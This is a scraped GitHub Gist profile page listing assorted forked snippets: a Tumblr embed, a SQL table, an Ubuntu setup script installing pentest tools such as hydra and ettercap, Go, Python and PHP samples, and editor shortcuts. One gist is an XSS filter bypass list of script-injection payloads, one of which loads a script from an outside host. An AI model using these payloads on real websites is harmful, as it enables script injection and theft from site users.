Skip to content

Instantly share code, notes, and snippets.

View aligoren's full-sized avatar
😥
130K

Ali GÖREN aligoren

😥
130K
View GitHub Profile
@aligoren
aligoren / theme.html
Created November 25, 2013 15:43 — forked from soemarko/theme.html
<!-- Add the following lines to theme's html code right before </head> -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script>
<script src="http://static.tumblr.com/fpifyru/VCxlv9xwi/writecapture.js"></script>
<script src="http://static.tumblr.com/fpifyru/AKFlv9zdu/embedgist.js"></script>
<!--
Usage: just add <div class="gist">[gist URL]</div>
Example: <div class="gist">https://gist.github.com/1395926</div>
-->
@aligoren
aligoren / isimler.sql
Created December 19, 2015 21:44 — forked from eciritoglu/isimler.sql
The List of Name
CREATE TABLE `isimler` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`ad` varchar(255) COLLATE utf8_bin NOT NULL,
`cinsiyet` varchar(50) COLLATE utf8_bin NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `ad` (`ad`),
KEY `cinsiyet` (`cinsiyet`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin;
@aligoren
aligoren / Xubuntu15.10libs.sh
Created March 26, 2016 19:58
Ubuntu >= 15.10 Sistemim için Formatdan sonra kurduğum tüm paketler
#update system
apt-get update -y
apt-get upgrade -y
apt-get dist-upgrade -y
#tools
apt-get install -y nmap nbtscan wireshark tshark dsniff tcpdump john p7zip openjdk-7-jre openvpn
libwebkitgtk-1.0-0 libssl-dev libjpeg-dev libnetfilter-queue-dev ettercap-text-only ghex pidgin pidgin-otr
traceroute lft gparted autopsy subversion git gnupg gnupg2 htop ssh libpcap0.8-dev libimage-exiftool-perl aptitude
p7zip-full proxychains curl terminator hydra hydra-gtk medusa irssi libtool build-essential
@aligoren
aligoren / Server.py
Created March 29, 2016 09:51 — forked from jdkanani/Server.py
Python SimpleHTTPServer : Routing sample
#!/usr/bin/env python
import os
from BaseHTTPServer import HTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
ROUTES = [
('/', '/var/www/doc-html')
]
class MyHandler(SimpleHTTPRequestHandler):
@aligoren
aligoren / gist:023b1b6abce2a9f2a6c85b9e4583dd0a
Created October 14, 2016 20:51 — forked from rxaviers/gist:7360908
Complete list of github markdown emoji markup

People

:bowtie: :bowtie: 😄 :smile: 😆 :laughing:
😊 :blush: 😃 :smiley: ☺️ :relaxed:
😏 :smirk: 😍 :heart_eyes: 😘 :kissing_heart:
😚 :kissing_closed_eyes: 😳 :flushed: 😌 :relieved:
😆 :satisfied: 😁 :grin: 😉 :wink:
😜 :stuck_out_tongue_winking_eye: 😝 :stuck_out_tongue_closed_eyes: 😀 :grinning:
😗 :kissing: 😙 :kissing_smiling_eyes: 😛 :stuck_out_tongue:
@aligoren
aligoren / golang-nuts.go
Created January 7, 2017 19:50 — forked from ryanfitz/golang-nuts.go
two ways to call a function every 2 seconds
package main
import (
"fmt"
"time"
)
// Suggestions from golang-nuts
// http://play.golang.org/p/Ctg3_AQisl
@aligoren
aligoren / xxsfilterbypass.lst
Created January 26, 2017 21:08 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@aligoren
aligoren / extensions.php
Created February 21, 2017 10:56 — forked from francescoagati/extensions.php
simple extension method with reflection and __call in php
<?php
class St {
public static function pippa($obj) {
print_r($obj);
}
}
@aligoren
aligoren / gist:e9b8777e9c171ddb1550dd483ee09227
Created March 10, 2017 07:43
Sublime Text 2 - Useful Shortcuts

Sublime Text 2 – Useful Shortcuts (PC)

Loosely ordered with the commands I use most towards the top. Sublime also offer full documentation.

Editing

Ctrl+C copy current line (if no selection)
Ctrl+X cut current line (if no selection)
Ctrl+⇧+K delete line
Ctrl+↩ insert line after
@aligoren
aligoren / algo.md
Created March 28, 2017 12:51
👾 🍨 Diojarn, one of the simple and lightweight uptime service written in Go

Files

  • diojarn.go => Main file. It detects databases, checks URL is valid, make connection between other files.
  • database.go => Database file. It creates/deletes databases, adds columns to them.
  • ping.go => Ping file. It sends ping (ICMP) packet to target URL and returns datas like response time, response code, date, URL status (up or down)
  • server.go => Server file. It opens a web server in local network, displays websites and their data in their databases.

Algorithm

  • Main file (diojarn.go)